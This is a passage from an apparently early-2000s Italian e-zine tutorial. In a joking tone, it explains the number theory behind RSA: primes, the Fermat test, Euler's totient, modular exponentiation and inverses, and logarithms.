ed è infinita. Da notare che a parte il 2 tutti i numeri primi sono dispari, e a parte il 5 nessuno termina per 5, quindi in generale un numero primo termina con 1, 3, 7 oppure 9 (queste osservazioni sono utili x riconoscerli a occhio). La Teoria dei Numeri dice, mi pare, che ci sono in media circa 1,3 numeri primi ogni 10 numeri (ma non sono sicuro... e comunque non possono esserne sicuri neanche loro, no?...). Trovare i numeri primi è piuttosto difficoltoso, perchè come vedete sulla linea dei numeri si trovano ad intervalli del tutto irregolari (memorizzare queste info, pls...), e per essere del tutto sicuri che un numero è primo bisognerebbe dividerlo per tutti gli altri numeri primi più piccoli della sua radice, questo sistema è il più semplice algoritmo di fattorizzazione ed è chiamato Trial Division, il suo funzionamento sarà spiegato dettagliatamente in appendice e in funzioni_matematiche.bas. Ma è in pratica equivalente a voler fare un brute-forcing ed è assolutamente improponibile per numeri molto grandi.
Esistono anche altri "trucchetti", sempre cacati fuori dalla Teoria dei Numeri, per veder se un numero è divisibile per alcuni numeri primi, cioè se questi numeri fanno parte dei suoi fattori; immagino che molti ne conoscerete:

2346248758241572455478 E' DIVISIBILE PER 2
(semplice: perchè il numero è pari)

4563275673246324 E' DIVISIBILE PER 3
Questo alcuni polli non lo sanno. Un numero divisibile per 3 ha la proprietà che la SOMMA DI TUTTE LE SUE CIFRE dà un numero divisibile per tre:
4+5+6+3+2+7+5+6+7+3+2+4+6+3+2+4 = 69 --> se fosse ancora troppo grande x farlo a occhio si continua:
69 --> 6+9 = 15
15 --> 1+5 = 6 --> a questo punto se non siete salami lo vedete da voi!!!

4563275673246324 E' DIVISIBILE ANCHE PER 4
In un numero divisibile per 4 le ultime due cifre sono sempre o 00 o un numero divisibile x 4.

247587423585 E' DIVISIBILE PER 5
Semplice. Un numero divisibile per 5 finisce sempre con 0 o con 5.

LA DIVISIBILITA' PER 10 NEANCHE VE LA FO... :PPP

13358584024301747 E' DIVISIBILE PER 11
Questo è un po' + complesso. Bisogna dividere le cifre del numero a posto pari da quelle a posto dispari (a due a due insomma) e si sommano:
1 3 8 8 0 4 0 7 7 -> 1+3+8+8+0+4+0+7+7 = 38
3 5 5 4 2 3 1 4 -> 3+5+5+4+2+3+1+4 = 27
A questo punto si fa la differenza tra il + grande e il + piccolo:
38 - 27 = 11
Infine: se tale differenza è 0, 11 o un multiplo di 11, allora il numero è divisibile per 11.

Ma queste funzionano solo con pochi fattori. E allora come si fa se avete bisogno di un numero primo grossotto?
Fortunatamente c'è un modo (sempre merito del caro Fermat) per avere la QUASI CERTEZZA che un numero sia primo, e cioè il TEST DI FERMAT, basato su quello che è conosciuto come il PICCOLO TEOREMA DI FERMAT:

"Se un numero P è primo, allora PER OGNI numero naturale B che va da 1 a P-1 vale la regola: (B^P) Mod P = B"

<lettore> mò me sorgono due problemi:
1) Questo deve valere per TUTTI gli B hai detto. Se il numero è grande devo controllare stà relazione centinaia di milioni di volte!
2) Ma se il numero è, non dico grosso, ma medium-size, tipo 4000, io quando vado a controllare uno B tipo 3900 me trovo a fà 3900^4000! Quasi che me se impalla la kalkolatrice di winzozz (e comunque non si impalla soltanto xkè usa la virgola mobile, che permette di rappresentare sì numeri + grandi, ma fa perdere in precisione...)!

Risposta: e infatti io prima v'ho detto QUASI CERTEZZA della primalità di un numero...

<lettore> aridatece i soldi!!!

Calma, calma... Sono problemi in un certo senso bypassabili. Affrontiamone uno x volta.

PROBLEMA N° 1: il + spinoso. In un numero primo la relazione del Test di Fermat vale per OGNI base (per "base" intendo un numero da 1 a P-1). In un numero composto a volte questa relazione non vale per NESSUNA delle sue basi. Ma, molto più spesso, un numero composto ha ALCUNE basi per cui vale e ALTRE no. Anzi, diciamo pure che sono pochi i numeri composti per cui il Test di Fermat non vale mai. Il problema a questo punto è: io potrei anche evitare di controllare TUTTE, ma proprio TUTTE le basi, basta che ne provo non so... un centinaio, tanto se il numero è primo la relazione vale sempre. Ma se ho merda e azzecco tanto bene 100 tra alcune delle basi di un numero (in realtà composto) che DA' ESITO POSITIVO AL TEST DI FERMAT SU QUELLE BASI, allora è un casino perchè il Fermat mi dice che il numero è primo mentre non lo è! Il problema va affrontato dal punto di vista statistico.
Passiamo al Fermat il numero 15 e chiediamogli se è primo o no. Le basi "bastarde" (cioè fuorvianti) delle 14 possibili sono 8, e precisamente: 1, 4, 5, 6, 9, 10, 11 e 14. A un primo tentativo del Test abbiamo 8 possibilità su 14 di ottenere un responso sbagliato. Ma se dopo di questo ne facciamo un altro con un'altra base le possibilità di errore diventano 7/13, se ne controlliamo un'altra ancora diventano 6/12...
8/14 = 0.57
7/13 = 0.54
6/12 = 0.5
5/11 = 0.45
4/10 = 0.4
3/9 = 0.3
2/8 = 0.25
1/7 = 0.14
che, come vedete, tendono a decrescere sempre + in fretta.
Non mi ricordo se per un teorema della Teoria dei Numeri (da ora in avanti solo "Teoria") o per un qualche ragionamento che ora non ricordo, ma in un numero composto NORMALE (e poi vedremo cosa significa "normale") le basi bastarde sono al massimo circa la META' di quelle possibili, e questo è mooolto importante, perchè significa che ad ogni controllo in più che facciamo la possibilità di sbagliare DIMEZZA. E allora, su un numero molto grande, basta fare il Test di Fermat 100 volte e la possibilità di sbagliare diventa circa:

1 / 2^100 ---> circa uguale a: 1 su 10^30

e 10^30 è, beh... grossotto! Immaginatevi un 1 con 30 zeri davanti... Quindi possiamo dire che, se dopo 100 tentativi un numero non viene riconosciuto come composto dal Test di Fermat, è QUASI CERTAMENTE un numero primo. Ma attenzione! Ci sono numeri composti che non sono del tutto "normali" riguardo al Test di Fermat. Questi numeri, come 561 (3*11*17) e 1729 (7*13*19), hanno la proprietà di avere "bastarde" TUTTE le possibili basi. Tali numeri sono detti "Numeri di Carmichael" e riescono SEMPRE a beffare il test, indipendentemente dal numero di controlli che effettuate. Fortunatamente però, i Numeri di Carmichael sono ESTREMAMENTE rari se confrontati coi numeri primi. Si può dunque affermare che:

SE DOPO UN CENTINAIO DI TENTATIVI UN NUMERO VIENE RICONOSCIUTO COME PRIMO DAL TEST DI FERMAT, ESISTE UNA POSSIBILITA' TRASCURABILE CHE NON LO SIA.

Possibilità trascurabile significa che se non vi fidate fate come quelli che vanno al Luna Park ma NON VANNO sull'ottovolante per timore di un incidente, non considerando che è statisticamente molto più probabile morire in un incidente in macchina mentre si va al Luna Park...
Uno dei numeri primi più grandi scoperti finora è: (2^3021377) - 1.

2° PROBLEMA: qui fortunatamente il problema non si pone proprio! Infatti non è vero che devi fare 3900^4000, bensì (3900^4000) Mod 4000, e come vedremo la cosa è mooolto diversa! :)


[Algoritmi di Fattorizzazione]
Vi nomino qui alcuni dei più noti algoritmi di fattorizzazione usati. Naturalmente non vi posso commentare il funzionamento (a parte del primo), perchè molti di questi si basano su roba che neanche al MIT, ma prima o poi mi documenterò...

TRIAL DIVISION
Il più vecchio e lento: prova a dividere un numero per tutti i numeri primi più piccoli della sua radice.

QUADRATIC SIEVE [QS] (setaccio quadratico)
Il più veloce per numeri più piccoli di 110 cifre

MULTIPLE POLYNOMIAL QUADRATIC SIEVE [MPQS] (setaccio quadratico polinomiale multiplo)
Una versione più veloce del QS.

DOUBLE LARGE PRIME VARIATION dell'MPQS [PPMPQS]
Utilizzato nel 1994 per rompere l'RSA-129. So solo che si basa su due fasi: una fase di "Setaccio", che può essere distribuita anche separatamente tra più computer x ridurre i tempi, e una di "Riduzione" (che deve essere effettuata su un singolo supercomputer, tipo Cray o MasPar), in cui gli elementi che hanno "passato il setaccio" vengono usati per costruire una "matrice espansa" (sparse matrix). Questa matrice viene ridotta ad una "matrice densa" (dense matrix) utilizzando la "eliminazione Gaussiana strutturata" (structured Gaussian elimination). A questo punto, utilizzando l'eliminazione Gaussiana ordinaria (ordinary Gaussian elimination, credo equivalga all'algoritmo di Jordan-Gauss per ridurre le matrici ma non ne sono sicuro e cmq non so usarlo...) su questa matrice è possibile trovare i fattori del numero.

NUMBER FIELD SIEVE [NFS] (setaccio a campo numerico)
Attualmente il migliore per numeri più grandi di 110 cifre. Si basa sempre sulle due fasi di sopra, ma non ne so altro. Ne esiste anche una variante utilizzata per computare i logaritmi discreti, di cui parleremo MOLTO più avanti...


[La funzione di Eulero]
Introduciamo subito una cosetta che ci servirà in seguito: la Funzione di Eulero di un numero intero. Sarà indicata con N(k) e in pratica questa funzione dà in uscita IL NUMERO DI ELEMENTI DA 1 a k-1 (con 1 sempre incluso) CHE NON HANNO ALCUN FATTORE IN COMUNE CON k. Esempio:

N(4) = 2 (e precisamente 1 e 3)
N(10) = 4 (1, 3, 7 e 9)
N(30) = 8 (1, 7, 11, 13, 17, 19, 23 e 29)

Da notare che se k è un numero primo, la N(k) sarà sempre k-1. Se k è il prodotto di numeri primi DIVERSI tra loro, la N(k) sarà uguale al prodotto delle N() dei fattori ovvero, la N(165) sarà:

N(165) = N(3 * 5 * 11) = N(3) * N(5) * N(11) = 2 * 4 * 10 = 80

Se invece ci sono alcuni fattori che si ripetono, SOLO AL PRIMO dei "ripetenti" va tolto 1, mentre gli altri vanno moltiplicati interi:

N(9) = N(3 * 3) = N(3) * N(3) = 2 * 2 = 4 --> SBAGLIATO
N(9) = N(3 * 3) = N(3) * 3 = 2 * 3 = 6 --> ESATTO (1, 2, 4, 5, 7 e 8)

Insomma, il concetto è: determinare la Funzione di Eulero di un numero è una sega, ma diventa estremamente facile se conoscete i FATTORI di quel numero.


===========================
*** ARITMETICA MODULARE ***
===========================
L'aritmetica modulare studia i resti delle normali divisioni, utilizza cioè le operazioni modulari (quelle col MOD di cui abbiamo già parlato). Di una qualsiasi divisione tra un numero X e il modulo M, nell'aritmetica modulare il quoziente Q è irrilevante, si usa solo il resto R. In riferimento alla notazione:

X Mod M = R

valgono SEMPRE le seguenti proprietà:

- R è sempre < M
- R può assumere solo valori da 0 a M-1
- se X < M, allora R = X
- X Mod X = 0
- X Mod 1 = 0
- X Mod (X-1) = 1
- 0 Mod M = 0

Di notevole importanza sono le seguenti due proprietà:

- (X + Y) Mod M = (X Mod M) + (Y Mod M)
ovvero: IL RESTO DI UNA SOMMA E' UGUALE ALLA SOMMA DEI RESTI

- (X * Y) Mod M = (X Mod M) * (Y Mod M)
ovvero: IL RESTO DI UN PRODOTTO E' UGUALE AL PRODOTTO DEI RESTI

Vediamo qualche esempio:

- 17 Mod 5 = (10 + 7) Mod 5 = (10 Mod 5) + (7 Mod 5) = 0 + 2 = 2
e infatti 17 Mod 5 = 2

- 24 Mod 5 = (6 * 4) Mod 5 = (6 Mod 5) * (4 Mod 5) = 1 * 4 = 4
e infatti 24 Mod 5 = 4

Ma attenzione! Vi può capitare una cosa del genere:

21 Mod 5 = (3 * 7) Mod 5 = (3 Mod 5) * (7 Mod 5) = 3 * 2 = 6

Ma è palesemente sbagliato! 21 Mod 5 in realtà fa 1 e non 6! Cosa è successo? Semplice: non abbiamo tenuto conto che R deve sempre essere < M, se il resto trovato è maggiore o uguale al modulo, SIGNIFICA CHE NON E' ANCORA UN RESTO, e bisogna dividerlo ancora:

21 Mod 5 = (3 * 7) Mod 5 = (3 Mod 5) * (7 Mod 5) = 3 * 2 = 6 Mod 5 = 1

e adesso torna. Ricordatevi di controllare SEMPRE il resto ottenuto per accertarvi che sia minore del modulo, se non lo è significa che non avete ancora finito di fare i calcoli e dovete continuare. Spostiamo la nostra attenzione sulla proprietà dell'equivalenza sul prodotto:

(X * Y) Mod M = (X Mod M) * (Y Mod M)

e consideriamo Y = X:

(X * X) Mod M = (X Mod M) * (X Mod M)

Questo ci porta alla importantissima relazione sull'uguaglianza del quadrato, ovvero:

IL RESTO DI UN QUADRATO E' PARI AL QUADRATO DEI RESTI

Sarà grazie a questa proprietà che ci sarà possibile andare a trovare il resto di divisioni con un incalcolabile numero di cifre, cosa che è alla base dell'RSA. E adesso vediamo come sfruttare tale relazione, tra l'altro, per risolvere il secondo problemuccio di prima sul test di Fermat.


[Determinare il resto di divisioni impossibili]
Vi sfido a utilizzare tutta la potenza di calcolo del Pentagno (o del mondo se è per questo...) per trovarmi il risultato di questa operazione:

(4564569 ^ 706345676464999) Mod 4656478

Sono scemo, dite? E allora come mai io conosco il risultato, ovvero 3331813 ? :)

<lettore> xchè l'hai letto da qche parte...

Nisba! Valori messi a caso e risultato calcolato con funzioni_matematiche.bas sul vb in qualche millesimo di secondo... non male considerato che non ce la fa neanche la kalkolatrice di winPorco, virgola mobile o no! ;)
Analizziamo il nostro problema: tutta la difficoltà nasce dall'elevamento a potenza, ovvero 4564569 ^ 706345676464999. Cerchiamo di farci un'idea di quanto sia grande questo risultato. Prima di tutto scomponiamo in binario (sempre con funzioni_matematiche.bas) questi due numeri:

4564569 --> 10001011010011001011001 (23 bit)
706345676464999 --> 10100000100110101011101011001000100110001101100111 (50 bit)

(da notare che usati x l'RSA sarebbero ridicolmente piccoli, io x far funziare egregiamente l'RSA col vb sono limitato dalla dimensione delle variabili utilizzabili). Quando io moltiplico tra di loro due numeri di TOT bit, il risultato avrà (bit più, bit meno) tanti bit quanti la somma dei bit dei due numeri, esempio:

4564569 (23 bit) * 4656478 (23 bit) = 21254815127982 (45 bit)

quindi se invece che moltiplicarli tra di loro ELEVO uno alla potenza dell'altro, il risultato avrà (n° bit base) * (n° bit esponente) bit di dimensione + o -, giusto? Il risultato dell'elevamento a potenza di prima sarebbe venuto grosso 23 * 50, ovvero circa 1150 bit, quanto un modulo RSA di buone dimensioni. Un numero di questa magnitudo supera di gran lunga il numero di ATOMI presenti nell'universo (ma chi si sarà messo a contarli tutti, poi?...). Una volta riuscito a calcolarlo, trovarne il resto in modulo 4656478 non è così difficile, ma il problema è appunto arrivarci!
Fortunatamente la cosa, come avrete capito, si può evitare. Bisogna implementare un algoritmo che sfrutta la proprietà sul resto del quadrato e calcola un resto per volta, ma fare un esempio con l'operazione di prima verrebbe lungotto, quindi scegliamone un'altra + piccina, tanto l'algoritmo è sempre uguale:

(48 ^ 302) Mod 39

Si inizia innanzitutto effettuando la SCOMPOSIZIONE BINARIA dell'esponente (x chi non sa come si fa verrà spiegato nel prox cap, intanto fatelo con la calc. :P ):

302 = 100101110 ---> L bit
POSIZIONE DELLE |..|.|||.
POTENZE DI 2: 876543210

si scrive quindi come somma di potenze di 2:

302 = 2^1 + 2^2 + 2^3 + 2^5 + 2^8
302 = 2 + 4 + 8 + 32 + 256

a questo punto 48 ^ 302 si può anche scrivere così (non mi fate ripassare anke le regole sulle potenze pls...):

48^2 * 48^4 * 48^8 * 48^32 * 48^256

adesso, sfruttando l'uguaglianza sui resti, andremo a calcolare prima soltanto 48 Mod 39, poi eleviamo al quadrato questo resto e gli facciamo di nuovo il modulo, poi ancora al quadrato e così via... troveremo una serie di resti che corrispondono alle potenze di 2 da 0 a L-1, a quel punto non faremo altro che considerare SOLTANTO quei resti che corrispondono alle potenze di 2 che hanno effettivamente generato l'esponente (in questo caso 1, 2, 3, 5 e 8) e li moltiplicheremo tra di loro per trovare il resto finale (ricordandoci di effettuare sempre il Mod ogni volta che R supera M).

<lettore> ...

okkei... esempio:

48 Mod 39 = 9 (questo è il resto della potenza 0 e non ci serve)
9^2 -> 81
81 Mod 39 = 3 X (questo corrisponde alla potenza 1 e ci serve, segniamo con X)
3^2 -> 9
9 Mod 39 = 9 X (potenza 2, serve)
81 Mod 39 = 3 X
9 Mod 39 = 9
81 Mod 39 = 3 X
9 Mod 39 = 9
81 Mod 39 = 3
9 Mod 39 = 9 X (potenza 8, l'ultima)

Il fatto che abbiamo ottenuto solo resti 3 e 9 è del tutto casuale. A codesto punto moltiplicamus...

3 * 9 * 3 * 3 * 9 = 2187

che è più grosso del modulo, quindi NON E' ANCORA UN RESTO:

2187 Mod 39 = 3

Finish! Più chiaro di così non ci riesco ma spero che basti :)))


[Funzioni Modulari]
Una funzione modulare assume la forma:

y = ax Mod M

Facciamo un esempio, una tabella e un grafico:

y = 7x Mod 5

x | y
---+---
0 | 0 ^
1 | 2 |
2 | 4 |
3 | 1 |
4 | 3 ---> |
5 | 0 | @ @ @
6 | 2 | / | @ @
7 | 4 | @ \ / | @ @
8 | 1 |/ @ \ @ @
9 | 3 @---------@---------@------->
10 | 0
11 | 2
12 | 4
13 | 1

Da qui si può vedere l'utilità di queste funzioni se si vuole introdurre un notevole fattore di difficoltà nell'estrapolare un valore ignoto partendo da uno noto: l'andamento di una funzione modulare non è, come nel caso delle funzioni normali, costante e prevedibile, ma del tutto disordinato. O meglio: più disordinato del solito. Se fate un po' di prove vi accorgerete di alcune cose:
1) l'andamento della funzione assume il classico aspetto a "dente di sega"
2) pur essendo disordinata, la funzione è PERIODICA, guardate infatti come dopo ogni M volte x (dopo ogni "sega") le y si ripetono regolarmente.
3) all'interno della stessa sequenza le y sono ABBASTANZA irregolari (a partire da 0 e 4 si ha +1, -1, +1, -1 e così via in modulo 5)
4) più e grande il modulo è più è lunga la "sega", l'intervallo cioè in cui le y sono piuttosto irregolari (niente battute cretine please...)

Se utilizzassimo un modulo abbastanza grande e riuscissimo ad eliminare l'andamento "semiregolare" all'interno degli intervalli M ecco che otterremo una funzione in cui, data la y, ci sarebbe estremamente difficile risalire alla x utilizzando la prevedibilità del grafico. Per il modulo grande no problem, basta che usiamo un modulo a TANTE cifre ed ecco fatto, ma per eliminare l'andamento a dente di sega dovete leggere un altro po' ;)


[Invertire una funzione modulare]
Con una funzione normale è, in un modo o nell'altro, sempre possibile INVERTIRE la funzione. Invertire una funzione significa, data la relazione che lega la y alla x, trovare anche la relazione che lega LA x ALLA y, ovvero se y = F(x), allora l'inversa F' sarà x = F'(y). Ad esempio se io ho una funzione y = 2x, l'inversa sarà:

x = (1/2) y

Una volta invertita una funzione ci è sempre possibile, conoscendo una variabile, trovare l'altra, indifferentemente dal fatto che sia x o y.
Vediamo adesso come si inverte una funzione modulare. In riferimento alla formula canonica:

y = ax Mod M

cerchiamo di trovare l'inversa:

x = by Mod M

dove b è un coefficiente diverso, ma M NON CAMBIA. Diciamo subito che possiamo invertirla soltanto se a ed M sono PRIMI TRA LORO, non hanno cioè fattori in comune a parte 1. Questo a causa delle particolarità delle funzioni Modulo: se avessero fattori in comune, in fase di "inversione" si verificherà una specie di "semplificazione" dei coefficienti che ci porterebbe ad una relazione sbagliata, o quantomeno valida solo per alcuni valori. Poi se non ci credete provateci no? :PPP
Con riferimento alla notazione:

X Mod M = R

valgono le seguenti proprietà:

(B * X) Mod M = (B * R) Mod M
ovvero: un'uguaglianza modulare rimane tale anche se si moltiplicano entrambi i membri per la stessa quantità

(B + X) Mod M = (B + R) Mod M
ovvero: un'uguaglianza modulare rimane tale anche se si aggiunge ad entrambi i membri la stessa quantità

Le potete verificare da voi applicando le regole di uguaglianza sulla somma e sul prodotto. Per invertire la funzione

y = ax Mod M

dobbiamo trovare una b che faccia da coefficiente nell'inversa come fa a nella diretta. Sono dunque giustificati i seguenti passaggi:

by Mod M = bax Mod M
bax Mod M = by Mod M
x(ab Mod M) = by Mod M

A questo punto basta trovare una b tale che (ab Mod M) sia uguale a 1, così la nostra funzione vale:

x*1 = by Mod M --> x = by Mod M

che è la nostra inversa. Per trovarla dovremo ricorrere al calcolo iterativo. Sappiamo che b, numero naturale, deve sottostare alla condizione ab Mod M = 1. Se indichiamo con QUOZ il risultato della divisione tra ab ed M, dovrà per forza essere:

ab = M * QUOZ + 1

a questo punto non ci resta che impostare un'iterazione in QUOZ, che avanza a partire da 1 e arresta l'algoritmo non appena il RISULTATO (non il resto) della divisione:

(M * QUOZ + 1) / a

sia un numero intero, numero che è poi il nostro b. Con la funzione del grafico di prima, y = 7x Mod 5, l'algoritmo si arresta dopo 4 iterazioni:

5(M) * 4(QUOZ) + 1 / 7(a) = 21/7 = 3(b)

la funzione inversa vale, come può essere facilmente verificato, x = 3y Mod 5. Ricordiamo ancora che è stato possibile trovarla solo perchè a ed M (7 e 5) sono PRIMI TRA LORO.


[Funzioni Modulari Esponenziali]
La struttura di una Funzione Modulare Esponenziale è la seguente:

y = (x^a) Mod M

In una funzione modulare il coefficiente moltiplica, qui ELEVA. Se fate un po' di prove vedrete che questo ha una funzione fondamentale: all'interno di uno stesso intervallo del modulo (la "sega" di prima) la successione diventa stavolta assolutamente disordinata, e quindi siamo riusciti in pratica ad ottenere la funzione caotica che andavamo cercando da prima! Il problema ora è che per applicarla nella crittografia dobbiamo riuscire ad invertirla.
Visto che y è un resto è minore di M, e visto che intendiamo far ricorso alla funzione inversa, in cui è x ad essere un resto, allora sia x che y sono numeri naturali che vanno da 1 ad M-1. Da qui in avanti utilizzeremo anche la Funzione di Eulero N(k). Importante da subito sottolineare che la funzione è invertibile solo se a ed N(M) sono primi tra loro, per i motivi di prima.
Con riferimento alla notazione:

X Mod M = R

si può verificare facilmente questa proprietà:

(X ^ K) Mod M = (R ^ K) Mod M
ovvero: un'uguaglianza modulare rimane tale anche se si elevano entrambi i membri alla stessa quantità

Ora ci viene in aiuto la Teoria con questo Teorema:

X^K Mod M = X^(K Mod N(M)) Mod M

(non ne ho mai trovato la dimostrazione ma effettivamente funzia...). A questo punto dobbiamo trovare la nostra b tale che x = (y^b) Mod M. Ecco come fare:

y = x^a Mod M
y = x^(a Mod N(M)) Mod M --> (per quel Teorema strano...)
y^b Mod M = (x^(a Mod N(M)) Mod M)^b --> (uguaglianza sulla potenza)
y^b Mod M = x^(ba Mod N(M)) Mod M --> (proprietà delle potenze)

a questo punto basta trovare una b tale che (ba Mod N(M)) = 1, così la nostra funzione vale:

x^1 Mod M = y^b Mod M --> x = y^b Mod M

Per farlo utilizzeremo l'algoritmo iterativo di prima, sostituendo però M con N(M). Ricordiamo ancora che la funzione è invertibile solo se a ed N(M) sono primi fra loro.

A questo punto se ponderate vedrete che avete in mano tutto ciò che vi serve per ricostruire l'algoritmo RSA, che tratteremo dettegliatamente al capitolo 7... meditate gente, meditate... :)))


=================================
*** LOGARITMI ED ESPONENZIALI ***
=================================
Abbiamo quasi finito.

<lettore> ah, perchè, questo capitolo finiva anche?...

Eheheh, dài che ne vale la pena. Se andate a scuola e avete una prof di mate ficona ci fate colpo!!! Tipo: "Voglio essere il tuo Gauss Azzurro", oppure: "Vorrei fattorizzarti tutta!", o anche: "Non hai idea di quanto è grosso il mio modulo..." =)))))))
NOOOOOO!!!!!!! BASTA CAZZATE!!! DOBBIAMO FINIRE PRIMAAAA!!!!


[Esponenziali]
Un esponenziale in pratica non è altro che un elevamento a potenza. Solo che invece che essere scritto come "operazione", viene scritto come Funzione, ovvero:

y = exp(x)

e si legge: "y è esponenziale in base a di x"... che in pratica significa y = a^x! Es. con base 10:

exp(2) = 100
exp(9) = 1000000000

Etc... L'andamento di questa funzione cambia a seconda della a, e questo è logico, direte. Ma stavolta cambia in maniera MOLTO vistosa, per due motivi: primo xchè essendo esponenziale l'andamento è molto influenzato dalla MINIMA differenza dei parametri, e secondo xchè c'è una differenza fondamentale se la a è <1 oppure >1. Una a maggiore di 1 aumenta man mano che viene elevata, no? Ma se è minore, invece che aumentare DIMINUISCE (senza mai diventare 0). Premesso che - per motivi vari che NON CI INTERESSANO - la a deve sempre essere MAGGIORE di 0, eccovi i grafici:

^
| @
| @
| @
| @
| @@
@@@
@@@@@@ |
@@@@@-------+------------> a>1


^
@ |
@ |
@ |
@ |
@@ |
@@@
| @@@@@@
------------+-------@@@@@@> a<1

Come vedete il risultato di un'esponenziale (la y) va sempre da 0 (non compreso) a infinito (o viceversa) e quindi è sempre positivo, mentre la x può assumere qsiasi valore, quindi un'esponenziale NON E' DEFINITO SOLO SE LA SUA BASE E' MINORE O UGUALE A 0.


[Logaritmi]
Il Logaritmo è l'operazione inversa dell'Esponenziale. Esso ha un'importanza MOSTRUOSA in un sacco di cose e si scrive:

y = log(x)

ovvero: y è logaritmo in base a di x (dove a è detta "base" e x è l'"argomento"). La scrittura log() normalmente indica come sua base il 10, ma ce ne possono essere infinite naturalmente. In parole povere il Logaritmo è L'ESPONENTE A CUI BISOGNA ELEVARE LA BASE PER OTTENERE L'ARGOMENTO. Esempio con base 10:

log(1) = 0 ---> NON FATEMI RIPETERE XCHE'...
log(10) = 1
log(10000) = 4

chiaro no? Premesso che SIA la base CHE l'argomento devono sempre essere positivi e DIVERSI da 0, anche qui il grafico cambia a seconda se la base è < o > di 1:

^
| @@@@@
| @@@
| @@
| @
| @
| @
-+--@----------> a>1
| @
| @
| @
| @
| @



^
| @
| @
| @
| @
| @
-+--@----------> a<1
| @
| @
| @
| @@
| @@@
| @@@@@

Quindi ricordatevi che se fate log(k) e k è minore o uguale a 0 E' ERRORE!
Non c'è nessun sistema diretto per calcolare il logaritmo di un numero (o almeno se c'è è al di fuori della mia portata, eheheh), ma si fa per interpolazione, cioè in pratica... tramite prove sui grafici e compilazione di tabelle, le TABELLE LOGARITMICHE appunto (il pc per fare conti di questo tipo usa un database interno di logaritmi).

<lettore> stà storia fa acqua da tutte le parti: le basi sono infinite quindi dovrebbero aver compilato infinite tabelle!

E invece no vi dico. Perchè fortunatamente c'è un sistema, conosciuto il logaritmo di un numero in una certa base, per convertirlo in un logaritmo ad un'altra base. Se io ho log in base a di k e lo voglio ottenere in base b basta fare:

log in base b (k) = log in base a (k) / log in base a (b)

Sentite: con tutta la buona volontà non c'ho voglia di fare la dimostrazione, per tanti buoni motivi:
1) non c'ho tempo
2) con l'ascii è un casino
3) non ce ne frega niente
quindi... fidatevi, caso mai chiedete e ve la farò la prossima volta (se ci sarà una prossima volta). Comunque non so perchè ma ho l'impressione che della dimostrazione non è che ve ne importi poi così tanto... :PPP

Ma in definitiva: a che cazz'servono stì logaritmi? Perchè sono così importanti?


[Proprietà dei Logaritmi]
I logaritmi (anche se all'inizio vi assicuro pareva una gran cacchiata anche a me...) hanno lo scopo di SEMPLIFICARE I CALCOLI. Proprio così, vi permettono di effettuare dei conti utilizzando numeri più piccoli e operazioni meno "forti", facilitandovi un mucchio di cose. Le proprietà principali dei logaritmi sono queste:

1) log(a*b) = log(a) + log(b)
2) log(a/b) = log(a) - log(b)
3) log(a^b) = b * log(a)
4) log(sqr(a)) = log(a) / 2

Che, a rinnovata richiesta del pubblico, NON DIMOSTREREMO...
Ma che significa? Guardatele bene e fate attenzione: dalla relazione 1 in pratica si vede che i logaritmi trasformano Moltiplicazioni in Addizioni, dalla 2 si vede che trasformano Divisioni in Sottrazioni, dalla 3 Elevazioni diventano Moltiplicazioni e dalla 4 Radici diventano Divisioni. Il loro scopo è quello di utilizzare operazioni meno "potenti" per ottenere stessi risultati. Esempio: proviamo a moltiplicare progressivamente il 10 per sè stesso per ottenere le potenze di 10:

10 ---> 100 ---> 1000 ---> 10000 ---> 100000
*10 *10 *10 *10

Logaritmicamente, in base 10 è l'equivalente di:

1 --> 2 --> 3 --> 4 --> 5
+1 +1 +1 +1

Come vedete si usano semplici addizioni invece di moltiplicazioni, e numeri molto più piccoli. Ma vediamo un esempio di utilizzo pratico.
Mettiamo caso che, dati due punti su una retta vogliate conoscere il punto che sta a metà tra i due. Semplice, conoscete tutti la media di due numeri: li addizioni e dividi per 2, qui tanto la relazione è lineare. Ma mettiamo che invece che su di una retta abbiate voluto farlo su una parabola... vi trovate in una situazione diversa perchè qui la relazione non è lineare. Se utilizzate la normale media algebrica troverete il punto che sta a metà sul SEGMENTO che unisce i due punti, ma NON il punto medio dell'arco di parabola che li unisce. L'operazione che ci permette di risolvere il problema è la MEDIA QUADRATICA, che si usa in genere ogni volta che volete trovare l'elemento medio tra due valori che crescono esponenzialmente. Se i valori sono A e B, invece che fare (A + B) / 2 dovete fare:

sqr(A * B)

e questo vi dà il valore medio C. Ma io l'ho fatto a volte in vb e mi sono trovato di fronte ad un altro problema: a meno che non usi la virgola mobile (e nei nostri calcoli non va MAI utilizzata) questo tipo di operazione dà overflow come niente. Questo perchè i numeri sono troppo grandi e le operazioni troppo "forti". E allora ci vengono in aiuto i logaritmi! Invece che fare sqr(A * B) vi basta fare:

(log(A) + log(B)) / 2

e avete praticamente ridotto una media quadratica ad una semplice media algebrica! Occhio però, che quello che avete trovato ora non è C, bensì log(C), per trovare C ora dovete solo fare l'esponenziale:

C = exp(log(C))

con base uguale a quella usata per la media ed il gioco è fatto! Vi accorgerete da soli che i logaritmi hanno innumerevoli utilizzi...


[Logaritmi naturali]
Senza entrare nel dettaglio, sappiate solo che un Logaritmo Naturale è un semplice logaritmo che ha come base il Numero di Nepero. Questa costante ha un'importanza analoga a quella dello Pi Greco, si indica con e minuscola e vale circa 2,72 (2,7182818...). I logaritmi naturali, invece che con log(), si indicano con ln():

ln(10) = 2,3
ln(40) = 3,69

etc... La particolarità del numero di Nepero è che se andiamo a rappresentare sul grafico la funzione esponenziale in base e, e contemporaneamente a questa la funzione che indica la VARIAZIONE (delta) tra una y e la precedente, i due grafici si sovrappongono. Questo ha interesse per risolvere problemi di cui noi NON ABBIAMO INTERESSE... però saperlo è bene, no?


Oddio... e adesso?
Sento che sta per succedere qualcosa di strano... Qualcosa che non vi sareste mai aspettati...

FI...
NI...
TOOOOOOOOOOOOOOOOOOOOOO!!!!!!!!!!!!!!!!!!

SIIIIIIIIIII!!!!!!!!!!!! E' finito il capitolo + pallosooooo! EVVIVAAA!!!

<lettore> eeeeeeeehh!! Hurràààààà!!! Pe-perepeeeeee!!! Fiiii!!!!!

Se non mi censurano ci vediamo la next time con la seconda parte, spero di esservi stato utile...

Eheheheh... E adesso finalmente posso intrattenervi con le mie splendide BARZELLETTE!!! Ihihihi... Hei, ma... un momento... Cosa state facendo? Oh caxxo! NON VORRETE MICA TAGLIARMI, VEROOO?... ARGHHHHHH!!!! NOOOOOO!!! AIUTOOOOO!!!!!

* ZACK! *

--8<------8<------8<------8<------8<------8<------8<------8<------8<------8<---









+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [SHUTD0WN] #03 - 17/09/2001 |
